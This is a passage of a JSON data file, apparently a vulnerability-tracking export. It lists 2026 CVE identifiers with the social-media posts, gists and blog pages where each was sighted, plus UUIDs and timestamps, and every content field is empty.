"vulnerability": "CVE-2026-27480", "type": "seen", "source": "https://gist.github.com/alon710/e56b547bb8d66c88c36130e6613a09b3", "content": "", "creation_timestamp": "2026-02-21T12:40:40.000000Z"}, {"uuid": "3b6cd90f-aec3-427d-aca2-863ebd7a9ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://bsky.app/profile/golang.org/post/3mge5fq5pq22k", "content": "", "creation_timestamp": "2026-03-06T01:19:17.870330Z"}, {"uuid": "8ddd0d8d-7912-4f97-8b86-53af98eb5d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27589", "type": "seen", "source": "https://gist.github.com/alon710/f685929cccd58df77508678d19695fdc", "content": "", "creation_timestamp": "2026-02-25T02:10:27.000000Z"}, {"uuid": "4942da00-8120-4650-a4d7-6e9fb8257cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/golang.org/post/3mge5fq5pq22k", "content": "", "creation_timestamp": "2026-03-06T01:19:17.973353Z"}, {"uuid": "dad2e0b9-0738-4161-bf79-a44bf0c75c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27012", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg7svtbir52c", "content": "", "creation_timestamp": "2026-03-04T08:00:46.808211Z"}, {"uuid": "afab5e3e-aa73-45f7-a4b2-e3a326ceda4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27099", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116103095838521772", "content": "", "creation_timestamp": "2026-02-20T13:04:09.829553Z"}, {"uuid": "73e319d7-42e8-4e0a-be1f-91436be1b485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27100", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116103095838521772", "content": "", "creation_timestamp": "2026-02-20T13:04:09.953568Z"}, {"uuid": "f82313a3-14d4-4d1a-9dcc-e2a1007c8d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27476", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfeqqlsu5m2e", "content": "", "creation_timestamp": "2026-02-21T13:40:10.135246Z"}, {"uuid": "9ab81c84-2b33-4a00-a670-18519449a526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf6ag3prxe2c", "content": "", "creation_timestamp": "2026-02-18T23:31:59.578034Z"}, {"uuid": "0832ec4a-d138-4ed5-80de-5e88e181d3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27028", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfsutda3op22", "content": "", "creation_timestamp": "2026-02-27T04:30:33.343754Z"}, {"uuid": "bcce2af7-e0ef-4801-b0bf-1ac1df813aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27850", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpkyxnsp72v", "content": "", "creation_timestamp": "2026-02-25T20:56:46.601652Z"}, {"uuid": "58b237b7-b7c8-4755-8d7a-388fc858c684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27174", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf6bzhri252c", "content": "", "creation_timestamp": "2026-02-19T00:00:43.313487Z"}, {"uuid": "8bb2e578-9e5e-4d55-b48e-ff415d4aceec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27174", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116094352803760595", "content": "", "creation_timestamp": "2026-02-19T00:00:48.402049Z"}, {"uuid": "b7de1aee-769f-4a31-8573-767c5731f77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27597", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfufgj7hcq2e", "content": "", "creation_timestamp": "2026-02-27T19:00:17.164107Z"}, {"uuid": "dca808c5-ccfe-43bf-bbf0-6526c0909f5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2732", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg7uhxfu6k2e", "content": "", "creation_timestamp": "2026-03-04T08:28:48.480465Z"}, {"uuid": "91611e16-3b3f-4e1e-94ed-6e99098f06a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27588", "type": "seen", "source": "https://gist.github.com/alon710/0a4d2120827a83418bc6e8325fbd6767", "content": "", "creation_timestamp": "2026-02-25T02:40:26.000000Z"}, {"uuid": "9d5ba7f0-7102-46cb-aae3-dc5eb582dfd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27899", "type": "seen", "source": "https://gist.github.com/alon710/0d260fd55b7736ebaf5b86e89cb62237", "content": "", "creation_timestamp": "2026-02-27T04:40:18.000000Z"}, {"uuid": "bb0773ec-4a53-4f75-95cc-9166ce588cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27449", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfuh2towo72s", "content": "", "creation_timestamp": "2026-02-27T19:29:32.272311Z"}, {"uuid": "f965caff-1a3b-4a9f-81d3-d6a517b01690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27179", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf6d3hjh5r26", "content": "", "creation_timestamp": "2026-02-19T00:19:44.096420Z"}, {"uuid": "e4268b3f-7edd-491d-9ba1-1be58207fc19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27899", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfswa3m56p2e", "content": "", "creation_timestamp": "2026-02-27T04:55:35.056876Z"}, {"uuid": "473c3a7c-448e-432a-97ef-3d9a8e261cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27593", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfz7nr2sm72l", "content": "", "creation_timestamp": "2026-03-01T17:00:15.533536Z"}, {"uuid": "8abff04f-b2f6-46ed-8c21-0d295cb6256c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mggrpmxkpe23", "content": "", "creation_timestamp": "2026-03-07T02:28:02.456208Z"}, {"uuid": "80e503ba-e421-47a2-b1ff-a25fd007ac1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mggrpmxkpe23", "content": "", "creation_timestamp": "2026-03-07T02:28:02.537015Z"}, {"uuid": "ba943aec-3946-45da-a590-34c287ee00dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27028", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfswirxmpa2v", "content": "", "creation_timestamp": "2026-02-27T05:00:27.461401Z"}, {"uuid": "dbc27a63-08c3-43fb-a833-7410cdd7bdb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27778", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mge7o5lsyc2n", "content": "", "creation_timestamp": "2026-03-06T01:59:45.843757Z"}, {"uuid": "bf36c578-b19a-4308-8dea-27e15f9f8572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27133", "type": "seen", "source": "https://bsky.app/profile/scholzj.bsky.social/post/3mf6dqzzdmk2u", "content": "", "creation_timestamp": "2026-02-19T00:31:49.601239Z"}, {"uuid": "572d2fac-8576-46b2-991f-403c5c61b478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27134", "type": "seen", "source": "https://bsky.app/profile/scholzj.bsky.social/post/3mf6dqzzdmk2u", "content": "", "creation_timestamp": "2026-02-19T00:31:49.692192Z"}, {"uuid": "5e0c3bfb-f09c-4e98-bb45-9075ff666069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27748", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116179762941676424", "content": "", "creation_timestamp": "2026-03-06T02:01:37.107537Z"}, {"uuid": "8e567338-bea3-411c-bb11-95588ff1397b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27099", "type": "seen", "source": "https://threatintel.cc/2026/02/20/critical-jenkins-vulnerability-exposes-build.html", "content": "", "creation_timestamp": "2026-02-20T12:04:16.000000Z"}, {"uuid": "5aeeaf5f-97cc-4022-acfa-bf80d55d3bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27100", "type": "seen", "source": "https://threatintel.cc/2026/02/20/critical-jenkins-vulnerability-exposes-build.html", "content": "", "creation_timestamp": "2026-02-20T12:04:16.000000Z"}, {"uuid": "afcc909c-ec1f-47a4-9c4c-95fe73fe1a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27587", "type": "seen", "source": "https://gist.github.com/alon710/ab126639375f6dbaf22c192fff07799b", "content": "", "creation_timestamp": "2026-02-25T03:10:19.000000Z"}, {"uuid": "1a742a2c-14a3-427d-8988-c64617b8854b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27198", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg7yhlduxd2m", "content": "", "creation_timestamp": "2026-03-04T09:40:11.079332Z"}, {"uuid": "81dac82e-1bad-4e7d-b245-4bc2afe30597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://gist.github.com/alon710/69aa4a4739e67bd07fef8e710308767b", "content": "", "creation_timestamp": "2026-02-27T05:10:18.000000Z"}, {"uuid": "47d4d3d3-a157-4841-a423-603ccaf1863d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfujvf7frd2h", "content": "", "creation_timestamp": "2026-02-27T20:20:10.421603Z"}, {"uuid": "0206e35a-cdab-40fc-9fd6-7d683933cc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27446", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg7zitr3hx2u", "content": "", "creation_timestamp": "2026-03-04T09:58:46.198975Z"}, {"uuid": "08d10963-ab84-41ce-904e-44cd41bf16ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnqqxucdy2f", "content": "", "creation_timestamp": "2026-02-25T03:34:20.471632Z"}, {"uuid": "5ab1de18-abf1-4fec-b3c3-3e0e4d7b962a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnqr6zkri2v", "content": "", "creation_timestamp": "2026-02-25T03:34:27.915558Z"}, {"uuid": "6e8b951c-0072-4ceb-acba-44c06619c881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfumc26ug72k", "content": "", "creation_timestamp": "2026-02-27T21:03:02.286766Z"}, {"uuid": "35404d28-2dca-4ba5-b3bc-c446364acc44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27614", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnqrfzvzp2s", "content": "", "creation_timestamp": "2026-02-25T03:34:35.174665Z"}, {"uuid": "bcb9afdd-219b-4eae-a470-e801a9c68007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27542", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfumc2bm7g2h", "content": "", "creation_timestamp": "2026-02-27T21:03:02.815371Z"}, {"uuid": "622d18f1-a7de-4ddb-8b9e-cd557da9e816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27507", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfzqg6taqg2a", "content": "", "creation_timestamp": "2026-03-01T22:00:15.108565Z"}, {"uuid": "9fc56e48-f3fb-4e1a-a95a-1dbf9b0ff82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnqzm5lsv2h", "content": "", "creation_timestamp": "2026-02-25T03:39:10.273496Z"}, {"uuid": "95560267-ea2f-4495-bd92-482b40d647bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2749", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116147789985654646", "content": "", "creation_timestamp": "2026-02-28T10:30:29.178674Z"}, {"uuid": "f0d113ba-c620-4f4e-af3b-5a3a319fc446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mfzqmo4bim2u", "content": "", "creation_timestamp": "2026-03-01T22:03:52.595288Z"}, {"uuid": "fdbaf30a-ecb3-4126-a4a7-5abef6668982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2749", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfvzfv5cyb2m", "content": "", "creation_timestamp": "2026-02-28T10:30:30.546338Z"}, {"uuid": "be8dd697-dd90-4bc5-a9e9-d19553e2a5a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27585", "type": "seen", "source": "https://gist.github.com/alon710/cc12d45654c7a0339d51fb9dbbc8ed7f", "content": "", "creation_timestamp": "2026-02-25T03:40:19.000000Z"}, {"uuid": "13b98799-5862-42fe-87d4-238d5493f92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27950", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfw34xbiee2s", "content": "", "creation_timestamp": "2026-02-28T11:01:17.852991Z"}, {"uuid": "432e39e4-2b00-497b-9dff-b650f873788c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfzx4s2muh2q", "content": "", "creation_timestamp": "2026-03-02T00:00:16.014280Z"}, {"uuid": "edd130fe-7cc8-4c44-babc-357510874da8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfadn3dema2c", "content": "", "creation_timestamp": "2026-02-19T19:34:55.706403Z"}, {"uuid": "189d3a2b-eba9-4301-8590-0fafec9f4963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27752", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfumrc7s6p2y", "content": "", "creation_timestamp": "2026-02-27T21:11:34.048554Z"}, {"uuid": "dcca55c5-3a73-4189-a3d8-0bbb4035a567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27820", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgebbklafa2p", "content": "", "creation_timestamp": "2026-03-06T02:28:30.958610Z"}, {"uuid": "3022ead3-765b-4b34-90d6-7f52e3a0aad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27755", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfumxbcsly2n", "content": "", "creation_timestamp": "2026-02-27T21:14:54.491951Z"}, {"uuid": "c91620bc-b9f6-4c63-ae39-48aff50d0658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2721", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggv37wbek27", "content": "", "creation_timestamp": "2026-03-07T03:28:12.424501Z"}, {"uuid": "f3d92e46-ea85-4b03-ac7a-596759375d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27739", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mg6bliavpm2x", "content": "", "creation_timestamp": "2026-03-03T17:18:06.021999Z"}, {"uuid": "4e20d450-5839-4d7f-a7a6-ae1740d45ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27099", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mffbvdvjjo23", "content": "", "creation_timestamp": "2026-02-21T18:47:03.889612Z"}, {"uuid": "4714f88a-3521-4dc1-9746-6898a2d6a9d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2797", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfr3zm3to22d", "content": "", "creation_timestamp": "2026-02-26T11:34:00.806268Z"}, {"uuid": "2d25e14a-4c1e-4470-bda3-7f669a6e3f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27749", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116179869069619716", "content": "", "creation_timestamp": "2026-03-06T02:28:35.898959Z"}, {"uuid": "a388a172-7be9-4cc4-833c-f79c5e603b9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27100", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mffbvdvjjo23", "content": "", "creation_timestamp": "2026-02-21T18:47:03.990082Z"}, {"uuid": "d7e96c3a-3338-4403-8ebb-f10f407b1f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27896", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfsyhmdof22s", "content": "", "creation_timestamp": "2026-02-27T05:35:34.670122Z"}, {"uuid": "23c9b6de-2e85-45f9-90dd-5dcf94fc41c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27751", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfunfnrcgr2u", "content": "", "creation_timestamp": "2026-02-27T21:22:57.312924Z"}, {"uuid": "5c138a32-c671-4c8d-b236-c86d0777a497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27584", "type": "seen", "source": "https://gist.github.com/alon710/b552dead23033effdfd76ba11d312188", "content": "", "creation_timestamp": "2026-02-25T04:10:19.000000Z"}, {"uuid": "ee0845ef-fe12-4c72-b531-88e030bc3e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27637", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnt5toixi2t", "content": "", "creation_timestamp": "2026-02-25T04:17:20.019082Z"}, {"uuid": "b389c3b4-54e1-41ab-a59b-f1c91a81bb34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnt6yexpi2c", "content": "", "creation_timestamp": "2026-02-25T04:17:58.273236Z"}, {"uuid": "b5630d55-f8fd-4285-95b5-2fe978efe3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27597", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnt77pasz2c", "content": "", "creation_timestamp": "2026-02-25T04:18:05.976599Z"}, {"uuid": "d191b989-7bda-4003-950f-3563f6818598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27627", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnt7hc2ky2t", "content": "", "creation_timestamp": "2026-02-25T04:18:14.523744Z"}, {"uuid": "d779f5bc-fe6d-4c82-b791-a1b83c98f98b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27734", "type": "seen", "source": "https://gist.github.com/alon710/6f62f3e47b65ada36a43c642ee722b2f", "content": "", "creation_timestamp": "2026-02-27T21:10:11.000000Z"}, {"uuid": "fd520188-9f4b-490c-b78a-e9234dbc193c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfntilhnhi2v", "content": "", "creation_timestamp": "2026-02-25T04:23:20.512594Z"}, {"uuid": "202bbabc-bd31-40df-84a5-de3a4deeb8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27839", "type": "seen", "source": "https://gist.github.com/alon710/5824d9b6db63c17fd0a504d93c2d1716", "content": "", "creation_timestamp": "2026-02-27T05:40:18.000000Z"}, {"uuid": "e81c1df2-a325-40cc-bf85-4f5ef04b5386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27597", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116129387587966698", "content": "", "creation_timestamp": "2026-02-25T04:30:29.852526Z"}, {"uuid": "d9b8025b-ed12-418f-b7d5-8d97b0314ffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27597", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfntvgx63625", "content": "", "creation_timestamp": "2026-02-25T04:30:31.824586Z"}, {"uuid": "7655aa5d-6095-46e9-82fc-715d6906fb26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27446", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mg6cxstx3l2b", "content": "", "creation_timestamp": "2026-03-03T17:42:53.009352Z"}, {"uuid": "b40bcb01-7bd7-4428-96ad-73abdee06c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27052", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfafws2iq32k", "content": "", "creation_timestamp": "2026-02-19T20:16:08.463878Z"}, {"uuid": "8ef37982-b3a9-4e02-8b3a-c7ca7a0f0398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27567", "type": "seen", "source": "https://gist.github.com/alon710/1f5269447a1894adbb81b93906c7462d", "content": "", "creation_timestamp": "2026-02-25T04:40:18.000000Z"}, {"uuid": "95b866fe-3ba2-4ac1-bac3-32f64da3bf4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://gist.github.com/alon710/b3ea10b84b3ec49955d7221d8d85c2f7", "content": "", "creation_timestamp": 